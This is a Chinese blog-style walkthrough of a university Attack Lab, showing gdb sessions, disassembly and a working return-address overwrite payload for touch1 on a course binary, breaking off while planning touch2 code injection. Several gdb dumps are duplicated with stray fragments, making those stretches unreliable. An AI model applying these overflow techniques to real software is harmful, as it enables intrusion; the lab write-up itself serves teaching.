Site Overlay

缓冲区溢出实验详解(下,Level1~Level5)

正式挑战

阅读实验说明

实验说明和提示可见诸此文:[Attack Lab - Courses](http://courses.cs.vt.edu/cs2506/Fall2017/C/AL/attacklab.pdf)

磨刀不误砍柴工,我先通读一遍。整理要点如下:

这个程序会做什么?

两个程序都会读取你输入的字符串,然后存放到一个 char 数组(buf)。

攻击的原理是什么?

  1. 当你输入的字符串(或者通过 ctarget < attack.raw输入二进制的数据)超过了 buf 的最大长度时,就会将多余的数据写入栈帧的更高地址。
  2. 多余的数据满足一定的条件时,将会导致函数的返回地址被修改。

我们的目标是什么?

我们的目标是输入一些字符串,使得 ctargetrtarget 中的函数 touch1/touch2/touch3 被执行。

此外,还要求在虚拟机中做此实验。

虚拟机等准备

我在 VirtualBox 上安装 CentOS7 的虚拟机。网络采用 Host-Only + NAT。配置如下:

[root@devmaster ~]# vi /etc/sysconfig/network-scripts/ifcfg-enp0s3 

TYPE="Ethernet"
PROXY_METHOD="none"
BROWSER_ONLY="no"
#BOOTPROTO="static"
DEFROUTE="yes"
IPV4_FAILURE_FATAL="no"
IPV6INIT="yes"
IPV6_AUTOCONF="yes"
IPV6_DEFROUTE="yes"
IPV6_FAILURE_FATAL="no"
IPV6_ADDR_GEN_MODE="stable-privacy"
NAME="enp0s3"
UUID="927721da-2b9f-45bd-8299-4f1d18633db4"
DEVICE="enp0s3"
ONBOOT="yes"
IPV6_PRIVACY="no"

IPADDR=192.168.146.3
NETMASK=255.255.255.0
#GATEWAY=192.168.146.2

检查网络畅通,包括外网和学校的局域网:

[root@devmaster ~]# ping z.cn
PING z.cn (54.222.60.252) 56(84) bytes of data.
64 bytes from 54.222.60.252 (54.222.60.252): icmp_seq=1 ttl=237 time=5.16 ms
64 bytes from 54.222.60.252 (54.222.60.252): icmp_seq=2 ttl=237 time=5.71 ms
^C
--- z.cn ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 5.163/5.440/5.718/0.287 ms

[root@devmaster ~]# ping 10.105.242.1
PING 10.105.242.1 (10.105.242.1) 56(84) bytes of data.
64 bytes from 10.105.242.1: icmp_seq=1 ttl=248 time=4.17 ms
64 bytes from 10.105.242.1: icmp_seq=2 ttl=248 time=4.86 ms
^C
--- 10.105.242.1 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1010ms
rtt min/avg/max/mdev = 4.176/4.520/4.864/0.344 ms

使用 ftp 登录到学校的服务器,下载文件:

[root@devmaster ~]# sftp xxxx@10.120.xx.xx
xxxx@10.120.xx.xx's password: 
Connected to 10.120.xx.xx.

sftp> pwd
Remote working directory: /home/students/xxx
sftp> ls
a.out           act123          act123.tar      bomb346         
bomb346.tar     hello.c         target346       target346.tar   
test.txt
sftp> get target346.tar 
Fetching /home/students/xxx/target346.tar to target346.tar
/home/students/xxx/target 100%  180KB   4.1MB/s   00:00
sftp> quit

sftp 的常用命令简述:

目录列出,切换等,和 Linux 一样,略。加上前缀 l,如 lls,可将操作于本机进行。

get:下载文件。exit:退出。put 上传文件。

这样就下载到了虚拟机上。

[root@devmaster ~]# mkdir tmp
[root@devmaster ~]# mv target346.tar ~/tmp/
[root@devmaster ~]# cd tmp/

解压所需文件(targetNNN.tar,每个人的不一样):

$ tar -xvf target346.tar
target346/README.txt
target346/ctarget
target346/rtarget
target346/farm.c
target346/cookie.txt
target346/hex2raw
[root@devmaster tmp]# ls
target346  target346.tar

[root@devmaster tmp]# cd target346

[root@devmaster target346]# ls -l
total 180
-rw-r--r-- 1 root root    11 Nov 20 20:38 cookie.txt
-rwxr-xr-x 1 root root 69544 Nov 20 20:38 ctarget
-rw-r--r-- 1 root root  2620 Nov 20 20:38 farm.c
-rwxr-xr-x 1 root root 21720 Nov 20 20:38 hex2raw
-rw-r--r-- 1 root root   635 Nov 20 20:38 README.txt
-rwxr-xr-x 1 root root 75208 Nov 20 20:38 rtarget

README.txt 文件的内容如下:

  1 This file contains materials for one instance of the attacklab.
  2
  3 Files:
  4
  5     ctarget
  6
  7 Linux binary with code-injection vulnerability.  To be used for phases
  8 1-3 of the assignment.
  9
 10     rtarget
 11
 12 Linux binary with return-oriented programming vulnerability.  To be
 13 used for phases 4-5 of the assignment.
 14
 15      cookie.txt
 16
 17 Text file containing 4-byte signature required for this lab instance.
 18
 19      farm.c
 20
 21 Source code for gadget farm present in this instance of rtarget.  You
 22 can compile (use flag -Og) and disassemble it to look for gadgets.
 23
 24      hex2raw
 25
 26 Utility program to generate byte sequences.  See documentation in lab
 27 handout.
 28

从中可知:ctarget 是一个有代码注入漏洞的程序,在 Phase 1-3 使用。

rtarget 是一个有返回漏洞的程序,在 Phase 4-5 使用。

farm.crtarget 中的一些可用于攻击的指令。

hex2raw 是一个十六进制文本转二进制字节的工具。(e.g., convert the text 48 65 6c 6c 6f to the binary sequence encoding the ASCII string Hello).

执行:

[root@devmaster target346]# objdump -d ctarget > ctarget.s

我们重点关注这些代码:

0000000000401817 <getbuf>:
  401817:   48 83 ec 28             sub    $0x28,%rsp
  40181b:   48 89 e7                mov    %rsp,%rdi
  40181e:   e8 7e 02 00 00          callq  401aa1 <Gets>
  401823:   b8 01 00 00 00          mov    $0x1,%eax
  401828:   48 83 c4 28             add    $0x28,%rsp
  40182c:   c3                      retq   

000000000040182d <touch1>:
  40182d:   48 83 ec 08             sub    $0x8,%rsp
  401831:   c7 05 e1 2c 20 00 01    movl   $0x1,0x202ce1(%rip)        # 60451c <vlevel>
  401838:   00 00 00 
  40183b:   bf 70 31 40 00          mov    $0x403170,%edi
  401840:   e8 8b f4 ff ff          callq  400cd0 <puts@plt>
  401845:   bf 01 00 00 00          mov    $0x1,%edi
  40184a:   e8 97 04 00 00          callq  401ce6 <validate>
  40184f:   bf 00 00 00 00          mov    $0x0,%edi
  401854:   e8 f7 f5 ff ff          callq  400e50 <exit@plt>

0000000000401859 <touch2>:
  401859:   48 83 ec 08             sub    $0x8,%rsp
  40185d:   89 fa                   mov    %edi,%edx
  40185f:   c7 05 b3 2c 20 00 02    movl   $0x2,0x202cb3(%rip)        # 60451c <vlevel>
  401866:   00 00 00 
  401869:   39 3d b5 2c 20 00       cmp    %edi,0x202cb5(%rip)        # 604524 <cookie>
  40186f:   75 20                   jne    401891 <touch2+0x38>
  401871:   be 98 31 40 00          mov    $0x403198,%esi
  401876:   bf 01 00 00 00          mov    $0x1,%edi
  40187b:   b8 00 00 00 00          mov    $0x0,%eax
  401880:   e8 7b f5 ff ff          callq  400e00 <__printf_chk@plt>
  401885:   bf 02 00 00 00          mov    $0x2,%edi
  40188a:   e8 57 04 00 00          callq  401ce6 <validate>
  40188f:   eb 1e                   jmp    4018af <touch2+0x56>
  401891:   be c0 31 40 00          mov    $0x4031c0,%esi
  401896:   bf 01 00 00 00          mov    $0x1,%edi
  40189b:   b8 00 00 00 00          mov    $0x0,%eax
  4018a0:   e8 5b f5 ff ff          callq  400e00 <__printf_chk@plt>
  4018a5:   bf 02 00 00 00          mov    $0x2,%edi
  4018aa:   e8 f9 04 00 00          callq  401da8 <fail>
  4018af:   bf 00 00 00 00          mov    $0x0,%edi
  4018b4:   e8 97 f5 ff ff          callq  400e50 <exit@plt>

getbuf 函数:

0000000000401817 <getbuf>:
  401817:   48 83 ec 28             sub    $0x28,%rsp
  40181b:   48 89 e7                mov    %rsp,%rdi
  40181e:   e8 7e 02 00 00          callq  401aa1 <Gets>
  401823:   b8 01 00 00 00          mov    $0x1,%eax
  401828:   48 83 c4 28             add    $0x28,%rsp
  40182c:   c3                      retq   

可以看到,它在栈上开辟了 0x28 字节空间。

Touch 1

阅读手册可知,我们地目标是执行 touch1。也就是说,可以把新的地址覆盖旧的地址,而旧的地址位于超出 0x28(H)=40(D) 字节的空间中。

000000000040182d <touch1>: 可知 touch1 的函数地址是 00 00 00 00 00 40 18 2d

我们试试简单粗暴地把超出部分写入地址:

# 注:code 是我的 vscode 编辑器。如果没有的话你应该用 emacs/vi 之类的。
[root@devmaster target346]# code exploit.txt 
01 02 03 04 05 06 07 08
09 10 11 12 13 14 15 16
17 18 19 20 21 22 23 24
25 26 27 28 00 00 00 00
00 40 18 2d
[root@devmaster target346]# ./hex2raw < exploit.txt > exploit-raw.txt 
[root@devmaster target346]# ./ctarget -q -i exploit-raw.txt 
Cookie: 0x2b44369c
No exploit.  Getbuf returned 0x1
Normal return

并不奏效。这是因为超过 40 字节才会溢出,上面只有 36 个字节。

[root@devmaster target346]# gdb ./ctarget

(gdb) set args -q -i exploit-raw.txt

为了确认返回地址在哪儿,添加如下两条监视:

(gdb) display /12gx $rsp # 这儿表示监视栈顶附近的十二个8bytes
(gdb) display /2i $rip   # 这儿监视最近两条指令

加断点:

(gdb) break getbuf  
(gdb) run
1: x/12xg $rsp
0x556430b0:     0x00000000004019e6      0x0000000000000009
0x556430c0:     0x0000000000401f7d      0x0000000000000000
0x556430d0:     0xf4f4f4f4f4f4f4f4      0xf4f4f4f4f4f4f4f4
0x556430e0:     0xf4f4f4f4f4f4f4f4      0xf4f4f4f4f4f4f4f4
0x556430f0:     0xf4f4f4f4f4f4f4f4      0xf4f4f4f4f4f4f4f4
0x55643100:     0xf4f4f4f4f4f4f4f4      0xf4f4f4f4f4f4f4f4

回溯:

(gdb) bt
#0  getbuf () at buf.c:12
#1  0x00000000004019e6 in test () at visible.c:92
#2  0x0000000000401f7d in launch (offset=<optimized out>) at support.c:295
#3  0x0000000000402053 in stable_launch (
    offset=<error reading variable: Cannot access memory at address 0x55686000>)
    at support.c:340

看到返回地址是 0x00000000004019e6

继续 si 看到如下:

1: x/12xg $rsp
0x55643080:     0x0000000000401823      0x0000000000000000
0x55643090:     0x0000000000000000      0x0000000000000000
0x556430a0:     0x0000000000000000      0x0000000055586000
0x556430b0:     0x00000000004019e6      0x0000000000000009
0x556430c0:     0x0000000000401f7d      0x0000000000000000
0x556430d0:     0xf4f4f4f4f4f4f4f4      0xf4f4f4f4f4f4f4f4
(gdb) si
0x0000000000401aa3      163     in support.c
2: x/2i $rip
=> 0x401aa3 <Gets+2>:   push   %rbp
   0x401aa4 <Gets+3>:   push   %rbx
1: x/12xg $rsp
0x55643078:     0x0000000000000004      0x0000000000401823
0x55643088:     0x0000000000000000      0x0000000000000000
0x55643098:     0x0000000000000000      0x0000000000000000
0x556430a8:     0x0000000055586000      0x00000000004019e6
0x556430b8:     0x0000000000000009      0x0000000000401f7d
0x556430c8:     0x0000000000000000      0xf4f4f4f4f4f4f4f4
(gdb) si
0x0000000000401aa4      163     in support.c
2: x/2i $rip
=> 0x401aa4 <Gets+3>:   push   %rbx
   0x401aa5 <Gets+4>:   mov    %rdi,%r12
1: x/12xg $rsp
0x55643070:     0x0000000055685fe8      0x0000000000000004
0x55643080:     0x0000000000401823      0x0000000000000000
0x55643090:     0x0000000000000000      0x0000000000000000
0x556430a0:     0x0000000000000000      0x0000000055586000
0x556430b0:     0x00000000004019e6      0x0000000000000009
0x556430c0:     0x0000000000401f7d      0x0000000000000000

很乱啊,加个断点到 Gets 末尾

b *0x401af2
Breakpoint 2 at 0x401af2: file support.c, line 177.

重新运行,看到栈里已经有了我们期待的内容:

2: x/2i $rip
=> 0x401af2 <Gets+81>:  retq   
   0x401af3 <notify_server>:    push   %rbx
1: x/12xg $rsp
0x55643080:     0x0000000000401823      0x0807060504030201
0x55643090:     0x1615141312111009      0x2423222120191817
0x556430a0:     0x0000000028272625      0x000000002d184000
0x556430b0:     0x00000000004019e6      0x0000000000000009
0x556430c0:     0x0000000000401f7d      0x0000000000000000

(gdb) bt
#0  0x0000000000401af2 in Gets (
    dest=dest@entry=0x55643088 "
2: x/2i $rip
=> 0x401af2 <Gets+81>:  retq   
0x401af3 <notify_server>:    push   %rbx
1: x/12xg $rsp
0x55643080:     0x0000000000401823      0x0807060504030201
0x55643090:     0x1615141312111009      0x2423222120191817
0x556430a0:     0x0000000028272625      0x000000002d184000
0x556430b0:     0x00000000004019e6      0x0000000000000009
0x556430c0:     0x0000000000401f7d      0x0000000000000000
(gdb) bt
#0  0x0000000000401af2 in Gets (
dest=dest@entry=0x55643088 "\001\002\003\004\005\006\a\b\t\020\021\022\023\024\025\026\027\030\031 !\"#$%&'(") at support.c:177
#1  0x0000000000401823 in getbuf () at buf.c:14
#2  0x00000000004019e6 in test () at visible.c:92
#3  0x0000000000401f7d in launch (offset=<optimized out>) at support.c:295
#4  0x0000000000402053 in stable_launch (
offset=<error reading variable: Cannot access memory at address 0x55686000>)
at support.c:340
1
2: x/2i $rip
=> 0x401af2 <Gets+81>:  retq   
0x401af3 <notify_server>:    push   %rbx
1: x/12xg $rsp
0x55643080:     0x0000000000401823      0x0807060504030201
0x55643090:     0x1615141312111009      0x2423222120191817
0x556430a0:     0x0000000028272625      0x000000002d184000
0x556430b0:     0x00000000004019e6      0x0000000000000009
0x556430c0:     0x0000000000401f7d      0x0000000000000000
(gdb) bt
#0  0x0000000000401af2 in Gets (
dest=dest@entry=0x55643088 "\001\002\003\004\005\006\a\b\t\020\021\022\023\024\025\026\027\030\031 !\"#$%&'(") at support.c:177
#1  0x0000000000401823 in getbuf () at buf.c:14
#2  0x00000000004019e6 in test () at visible.c:92
#3  0x0000000000401f7d in launch (offset=<optimized out>) at support.c:295
#4  0x0000000000402053 in stable_launch (
offset=<error reading variable: Cannot access memory at address 0x55686000>)
at support.c:340
2
2: x/2i $rip
=> 0x401af2 <Gets+81>:  retq   
0x401af3 <notify_server>:    push   %rbx
1: x/12xg $rsp
0x55643080:     0x0000000000401823      0x0807060504030201
0x55643090:     0x1615141312111009      0x2423222120191817
0x556430a0:     0x0000000028272625      0x000000002d184000
0x556430b0:     0x00000000004019e6      0x0000000000000009
0x556430c0:     0x0000000000401f7d      0x0000000000000000
(gdb) bt
#0  0x0000000000401af2 in Gets (
dest=dest@entry=0x55643088 "\001\002\003\004\005\006\a\b\t\020\021\022\023\024\025\026\027\030\031 !\"#$%&'(") at support.c:177
#1  0x0000000000401823 in getbuf () at buf.c:14
#2  0x00000000004019e6 in test () at visible.c:92
#3  0x0000000000401f7d in launch (offset=<optimized out>) at support.c:295
#4  0x0000000000402053 in stable_launch (
offset=<error reading variable: Cannot access memory at address 0x55686000>)
at support.c:340
3
2: x/2i $rip
=> 0x401af2 <Gets+81>:  retq   
0x401af3 <notify_server>:    push   %rbx
1: x/12xg $rsp
0x55643080:     0x0000000000401823      0x0807060504030201
0x55643090:     0x1615141312111009      0x2423222120191817
0x556430a0:     0x0000000028272625      0x000000002d184000
0x556430b0:     0x00000000004019e6      0x0000000000000009
0x556430c0:     0x0000000000401f7d      0x0000000000000000
(gdb) bt
#0  0x0000000000401af2 in Gets (
dest=dest@entry=0x55643088 "\001\002\003\004\005\006\a\b\t\020\021\022\023\024\025\026\027\030\031 !\"#$%&'(") at support.c:177
#1  0x0000000000401823 in getbuf () at buf.c:14
#2  0x00000000004019e6 in test () at visible.c:92
#3  0x0000000000401f7d in launch (offset=<optimized out>) at support.c:295
#4  0x0000000000402053 in stable_launch (
offset=<error reading variable: Cannot access memory at address 0x55686000>)
at support.c:340
4
2: x/2i $rip
=> 0x401af2 <Gets+81>:  retq   
0x401af3 <notify_server>:    push   %rbx
1: x/12xg $rsp
0x55643080:     0x0000000000401823      0x0807060504030201
0x55643090:     0x1615141312111009      0x2423222120191817
0x556430a0:     0x0000000028272625      0x000000002d184000
0x556430b0:     0x00000000004019e6      0x0000000000000009
0x556430c0:     0x0000000000401f7d      0x0000000000000000
(gdb) bt
#0  0x0000000000401af2 in Gets (
dest=dest@entry=0x55643088 "\001\002\003\004\005\006\a\b\t\020\021\022\023\024\025\026\027\030\031 !\"#$%&'(") at support.c:177
#1  0x0000000000401823 in getbuf () at buf.c:14
#2  0x00000000004019e6 in test () at visible.c:92
#3  0x0000000000401f7d in launch (offset=<optimized out>) at support.c:295
#4  0x0000000000402053 in stable_launch (
offset=<error reading variable: Cannot access memory at address 0x55686000>)
at support.c:340
5
2: x/2i $rip
=> 0x401af2 <Gets+81>:  retq   
0x401af3 <notify_server>:    push   %rbx
1: x/12xg $rsp
0x55643080:     0x0000000000401823      0x0807060504030201
0x55643090:     0x1615141312111009      0x2423222120191817
0x556430a0:     0x0000000028272625      0x000000002d184000
0x556430b0:     0x00000000004019e6      0x0000000000000009
0x556430c0:     0x0000000000401f7d      0x0000000000000000
(gdb) bt
#0  0x0000000000401af2 in Gets (
dest=dest@entry=0x55643088 "\001\002\003\004\005\006\a\b\t\020\021\022\023\024\025\026\027\030\031 !\"#$%&'(") at support.c:177
#1  0x0000000000401823 in getbuf () at buf.c:14
#2  0x00000000004019e6 in test () at visible.c:92
#3  0x0000000000401f7d in launch (offset=<optimized out>) at support.c:295
#4  0x0000000000402053 in stable_launch (
offset=<error reading variable: Cannot access memory at address 0x55686000>)
at support.c:340
6\a\b\t0123456701 !\"#$%&'(") at support.c:177 #1 0x0000000000401823 in getbuf () at buf.c:14 #2 0x00000000004019e6 in test () at visible.c:92 #3 0x0000000000401f7d in launch (offset=<optimized out>) at support.c:295 #4 0x0000000000402053 in stable_launch ( offset=<error reading variable: Cannot access memory at address 0x55686000>) at support.c:340

发现并没有超出 buffer……

exploit.txt 改成:

01 02 03 04 05 06 07 08
09 10 11 12 13 14 15 16
17 18 19 20 21 22 23 24
25 26 27 28 01 02 03 
05 06 07 08
09 10 11 12 13 14 15 16
17 18 19 20 21 22 23 24
25 26 27 28 
00 00 00 00 00 40 18 2d

再看:

(gdb) bt
#0  0x0000000000401af2 in Gets (
    dest=dest@entry=0x55643088 "
(gdb) bt
#0  0x0000000000401af2 in Gets (
dest=dest@entry=0x55643088 "\001\002\003\004\005\006\a\b\t\020\021\022\023\024\025\026\027\030\031 !\"#$%&'(\001\002\003\005\006\a\b\t\020\021\022\023\024\025\026\027\030\031 !\"#$%&'(") at support.c:177
#1  0x0000000000401823 in getbuf () at buf.c:14
#2  0x2120191817161514 in ?? ()
#3  0x0028272625242322 in ?? ()
#4  0x002d184000000000 in ?? ()
#5  0x0000000000000000 in ?? ()
1
(gdb) bt
#0  0x0000000000401af2 in Gets (
dest=dest@entry=0x55643088 "\001\002\003\004\005\006\a\b\t\020\021\022\023\024\025\026\027\030\031 !\"#$%&'(\001\002\003\005\006\a\b\t\020\021\022\023\024\025\026\027\030\031 !\"#$%&'(") at support.c:177
#1  0x0000000000401823 in getbuf () at buf.c:14
#2  0x2120191817161514 in ?? ()
#3  0x0028272625242322 in ?? ()
#4  0x002d184000000000 in ?? ()
#5  0x0000000000000000 in ?? ()
2
(gdb) bt
#0  0x0000000000401af2 in Gets (
dest=dest@entry=0x55643088 "\001\002\003\004\005\006\a\b\t\020\021\022\023\024\025\026\027\030\031 !\"#$%&'(\001\002\003\005\006\a\b\t\020\021\022\023\024\025\026\027\030\031 !\"#$%&'(") at support.c:177
#1  0x0000000000401823 in getbuf () at buf.c:14
#2  0x2120191817161514 in ?? ()
#3  0x0028272625242322 in ?? ()
#4  0x002d184000000000 in ?? ()
#5  0x0000000000000000 in ?? ()
3
(gdb) bt
#0  0x0000000000401af2 in Gets (
dest=dest@entry=0x55643088 "\001\002\003\004\005\006\a\b\t\020\021\022\023\024\025\026\027\030\031 !\"#$%&'(\001\002\003\005\006\a\b\t\020\021\022\023\024\025\026\027\030\031 !\"#$%&'(") at support.c:177
#1  0x0000000000401823 in getbuf () at buf.c:14
#2  0x2120191817161514 in ?? ()
#3  0x0028272625242322 in ?? ()
#4  0x002d184000000000 in ?? ()
#5  0x0000000000000000 in ?? ()
4
(gdb) bt
#0  0x0000000000401af2 in Gets (
dest=dest@entry=0x55643088 "\001\002\003\004\005\006\a\b\t\020\021\022\023\024\025\026\027\030\031 !\"#$%&'(\001\002\003\005\006\a\b\t\020\021\022\023\024\025\026\027\030\031 !\"#$%&'(") at support.c:177
#1  0x0000000000401823 in getbuf () at buf.c:14
#2  0x2120191817161514 in ?? ()
#3  0x0028272625242322 in ?? ()
#4  0x002d184000000000 in ?? ()
#5  0x0000000000000000 in ?? ()
5
(gdb) bt
#0  0x0000000000401af2 in Gets (
dest=dest@entry=0x55643088 "\001\002\003\004\005\006\a\b\t\020\021\022\023\024\025\026\027\030\031 !\"#$%&'(\001\002\003\005\006\a\b\t\020\021\022\023\024\025\026\027\030\031 !\"#$%&'(") at support.c:177
#1  0x0000000000401823 in getbuf () at buf.c:14
#2  0x2120191817161514 in ?? ()
#3  0x0028272625242322 in ?? ()
#4  0x002d184000000000 in ?? ()
#5  0x0000000000000000 in ?? ()
6\a\b\t0123456701 !\"#$%&'(
(gdb) bt
#0  0x0000000000401af2 in Gets (
dest=dest@entry=0x55643088 "\001\002\003\004\005\006\a\b\t\020\021\022\023\024\025\026\027\030\031 !\"#$%&'(\001\002\003\005\006\a\b\t\020\021\022\023\024\025\026\027\030\031 !\"#$%&'(") at support.c:177
#1  0x0000000000401823 in getbuf () at buf.c:14
#2  0x2120191817161514 in ?? ()
#3  0x0028272625242322 in ?? ()
#4  0x002d184000000000 in ?? ()
#5  0x0000000000000000 in ?? ()
1
(gdb) bt
#0  0x0000000000401af2 in Gets (
dest=dest@entry=0x55643088 "\001\002\003\004\005\006\a\b\t\020\021\022\023\024\025\026\027\030\031 !\"#$%&'(\001\002\003\005\006\a\b\t\020\021\022\023\024\025\026\027\030\031 !\"#$%&'(") at support.c:177
#1  0x0000000000401823 in getbuf () at buf.c:14
#2  0x2120191817161514 in ?? ()
#3  0x0028272625242322 in ?? ()
#4  0x002d184000000000 in ?? ()
#5  0x0000000000000000 in ?? ()
2
(gdb) bt
#0  0x0000000000401af2 in Gets (
dest=dest@entry=0x55643088 "\001\002\003\004\005\006\a\b\t\020\021\022\023\024\025\026\027\030\031 !\"#$%&'(\001\002\003\005\006\a\b\t\020\021\022\023\024\025\026\027\030\031 !\"#$%&'(") at support.c:177
#1  0x0000000000401823 in getbuf () at buf.c:14
#2  0x2120191817161514 in ?? ()
#3  0x0028272625242322 in ?? ()
#4  0x002d184000000000 in ?? ()
#5  0x0000000000000000 in ?? ()
3
(gdb) bt
#0  0x0000000000401af2 in Gets (
dest=dest@entry=0x55643088 "\001\002\003\004\005\006\a\b\t\020\021\022\023\024\025\026\027\030\031 !\"#$%&'(\001\002\003\005\006\a\b\t\020\021\022\023\024\025\026\027\030\031 !\"#$%&'(") at support.c:177
#1  0x0000000000401823 in getbuf () at buf.c:14
#2  0x2120191817161514 in ?? ()
#3  0x0028272625242322 in ?? ()
#4  0x002d184000000000 in ?? ()
#5  0x0000000000000000 in ?? ()
5
(gdb) bt
#0  0x0000000000401af2 in Gets (
dest=dest@entry=0x55643088 "\001\002\003\004\005\006\a\b\t\020\021\022\023\024\025\026\027\030\031 !\"#$%&'(\001\002\003\005\006\a\b\t\020\021\022\023\024\025\026\027\030\031 !\"#$%&'(") at support.c:177
#1  0x0000000000401823 in getbuf () at buf.c:14
#2  0x2120191817161514 in ?? ()
#3  0x0028272625242322 in ?? ()
#4  0x002d184000000000 in ?? ()
#5  0x0000000000000000 in ?? ()
6\a\b\t0123456701 !\"#$%&'(") at support.c:177 #1 0x0000000000401823 in getbuf () at buf.c:14 #2 0x2120191817161514 in ?? () #3 0x0028272625242322 in ?? () #4 0x002d184000000000 in ?? () #5 0x0000000000000000 in ?? ()

已经改成功了 0x2120191817161514 那儿变成了返回地址。这里注意到顺序反了,涉及到大小端序的问题。

exploit.txt 改成:

01 02 03 04 05 06 07 08
09 10 11 12 13 14 15 16
17 18 19 20 21 22 23 24
25 26 27 28 01 02 03 05 
06 07 08 09 10 11 12 13 
2d 18 40 00 00 00 00 00 # 注意,这里是修改后的返回地址,使用小端序

成功了:

(gdb) c
Continuing.
Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Would have posted the following:
        user id xxx
        course  xxx
        lab     xxx
        result  xxx

别忘了在学校服务器上运行,从而能够计分。不带参数 -q

原理回顾

先不急着往下,前面胡乱尝试的过程,虽然最后成功了,但其中的原理还不够明晰。我们回顾一下,这个攻击脚本到底是如何工作的?关键在于,超过 40bytes 的部分,到底被写入了什么地方?

我们首先从原理上看。栈帧的结构是:

返回地址
rbp
本地变量和保存的寄存器<----------这里是我们的 buf 变量的位置
esp 栈顶

写入的内容是网上覆盖的,也就是说,理论上先覆盖了 4 字节的 epb,然后覆盖 4 字节的返回地址。

使用如下输入进行验证:

d1 dc dc dc dc dc dc dc
d2 dc dc dc dc dc dc dc
d3 dc dc dc dc dc dc dc
d4 dc dc dc dc dc dc dc
d5 dc dc dc dc dc dc dc

01 02 03 04 05 06 07 08
[root@devmaster target346]# gdb ctarget

0x401823 是 getbuf 中调用 Gets 之后执行的指令位置。

(gdb) b *0x401823
(gdb) set args -q -i exploit-raw.txt 
(gdb) run
Starting program: /root/tmp/target346/ctarget -q -i exploit-raw.txt 
Cookie: 0x2b44369c

Breakpoint 1, getbuf () at buf.c:16
16      buf.c: No such file or directory.
(gdb) bt
#0  getbuf () at buf.c:16
#1  0x0807060504030201 in ?? ()
#2  0x0000000000000000 in ?? ()

这里看到栈中的内容:

(gdb) x /8gx $rsp
0x55643088:     0xdcdcdcdcdcdcdcd1      0xdcdcdcdcdcdcdcd2
0x55643098:     0xdcdcdcdcdcdcdcd3      0xdcdcdcdcdcdcdcd4
0x556430a8:     0xdcdcdcdcdcdcdcd5      0x0807060504030201
0x556430b8:     0x0000000000000000      0x0000000000401f7d

像这样 0xdcdcdcdcdcdcdcd1 一坨是 8bytes。前 5 坨是 $5 \times 8 = 40$ 的局部变量(即 buf)。

第 6 坨,0x0807060504030201 就是返回地址。和栈的结构是一致的。具体来说:

| 0x0807060504030201 <------ 返回地址
| -----------------
| 0xdcdcdcdcdcdcdcd5 <------ 局部变量
| 0xdcdcdcdcdcdcdcd4
| 0xdcdcdcdcdcdcdcd3
| 0xdcdcdcdcdcdcdcd2
| 0xdcdcdcdcdcdcdcd1 <------ 栈顶

我不禁好奇,局部变量占用的空间是怎么释放的?这电脑它怎么就知道返回地址在哪儿呢?好在汇编语言它自己就足够明白:

  401828:   48 83 c4 28             add    $0x28,%rsp
  40182c:   c3                      retq   

可以看到,是直接通过后推 rsp 实现的。它并不知道返回地址在哪儿,而是编译的时候写死了要归还多少空间(此处是 0x28bytes),然后调用 retq 就相当于跳转到当前栈顶的位置,而当前栈顶的位置恰好就是返回地址。

| 0x0807060504030201 <------ 返回地址
| -----------------
| 0xdcdcdcdcdcdcdcd5 <------ 局部变量
| 0xdcdcdcdcdcdcdcd4
| 0xdcdcdcdcdcdcdcd3
| 0xdcdcdcdcdcdcdcd2
| 0xdcdcdcdcdcdcdcd1 <------ 栈顶

执行 add    $0x28,%rsp 之后:

| 0x0807060504030201 <------ 返回地址<------ 栈顶

我们前面说,“理论上先覆盖了 4 字节的 epb,然后覆盖 4 字节的返回地址”,实际来看,我们是 64 位机器,地址宽度是 8bytes,而 epb。来看看:

(gdb) x /2gx $rbp
0x55685fe8:     0x0000000000403045      0x0000000000402053

rbp 还存着以前的内容。我们以前以为是 返回地址->rbp->局部变量->栈顶,然而实际来看,·rbp和返回地址的先后关系不是固定的。retq 返回的时候,与 rbp 没啥关系,他只是返回到那时的栈顶而已。

这样就说得通了。

Touch 2

汇编代码:

0000000000401859 <touch2>:
  401859:   48 83 ec 08             sub    $0x8,%rsp
  40185d:   89 fa                   mov    %edi,%edx
  40185f:   c7 05 b3 2c 20 00 02    movl   $0x2,0x202cb3(%rip)        # 60451c <vlevel>
  401866:   00 00 00 
  401869:   39 3d b5 2c 20 00       cmp    %edi,0x202cb5(%rip)        # 604524 <cookie>
  40186f:   75 20                   jne    401891 <touch2+0x38>
  401871:   be 98 31 40 00          mov    $0x403198,%esi
  401876:   bf 01 00 00 00          mov    $0x1,%edi
  40187b:   b8 00 00 00 00          mov    $0x0,%eax
  401880:   e8 7b f5 ff ff          callq  400e00 <__printf_chk@plt>
  401885:   bf 02 00 00 00          mov    $0x2,%edi
  40188a:   e8 57 04 00 00          callq  401ce6 <validate>
  40188f:   eb 1e                   jmp    4018af <touch2+0x56>
  401891:   be c0 31 40 00          mov    $0x4031c0,%esi
  401896:   bf 01 00 00 00          mov    $0x1,%edi
  40189b:   b8 00 00 00 00          mov    $0x0,%eax
  4018a0:   e8 5b f5 ff ff          callq  400e00 <__printf_chk@plt>
  4018a5:   bf 02 00 00 00          mov    $0x2,%edi
  4018aa:   e8 f9 04 00 00          callq  401da8 <fail>
  4018af:   bf 00 00 00 00          mov    $0x0,%edi
  4018b4:   e8 97 f5 ff ff          callq  400e50 <exit@plt>

实验说明中给出的对应代码:

void touch2(unsigned val) {
    vlevel = 2; /* Part of validation protocol */
    if (val == cookie) {
        printf("Touch2!: You called touch2(0x%.8x)\n", val);
        validate(2);
    } else {
        printf("Misfire: You called touch2(0x%.8x)\n", val);
        fail(2);
    }
    exit(0);
}

看样子,不但要执行函数,还要传入参数,参数值为 cookie。而 cookie.txt 的内容如下:

0x2b44369c

我们能不能修改栈从而修改 rdi 呢?不能,因为缓冲区溢出只能影响栈顶之后的。而调用函数会形成新的栈帧,我们碰不到。但是我们可以设计指令,然后修改返回地址去执行我们的指令,从而去修改新的栈帧。

指令如下:

movq $0x2b44369c, %rdi
movq $返回地址, %rsp # 修改返回地址为 touch 2 地址
ret

其中的返回地址怎样得到呢?

0000000000401817 <getbuf>:
  401817:   48 83 ec 28             sub    $0x28,%rsp
  40181b:   48 89 e7                mov    %rsp,%rdi

40181b 处断点:

(gdb) b *0x40181b
Breakpoint 4 at 0x40181b: file buf.c, line 14

运行后:

Breakpoint 4, getbuf () at buf.c:14
14      in buf.c
2: x/2i $rip
=> 0x40181b <getbuf+4>: mov    %rsp,%rdi
   0x40181e <getbuf+7>: callq  0x401aa1 <Gets>
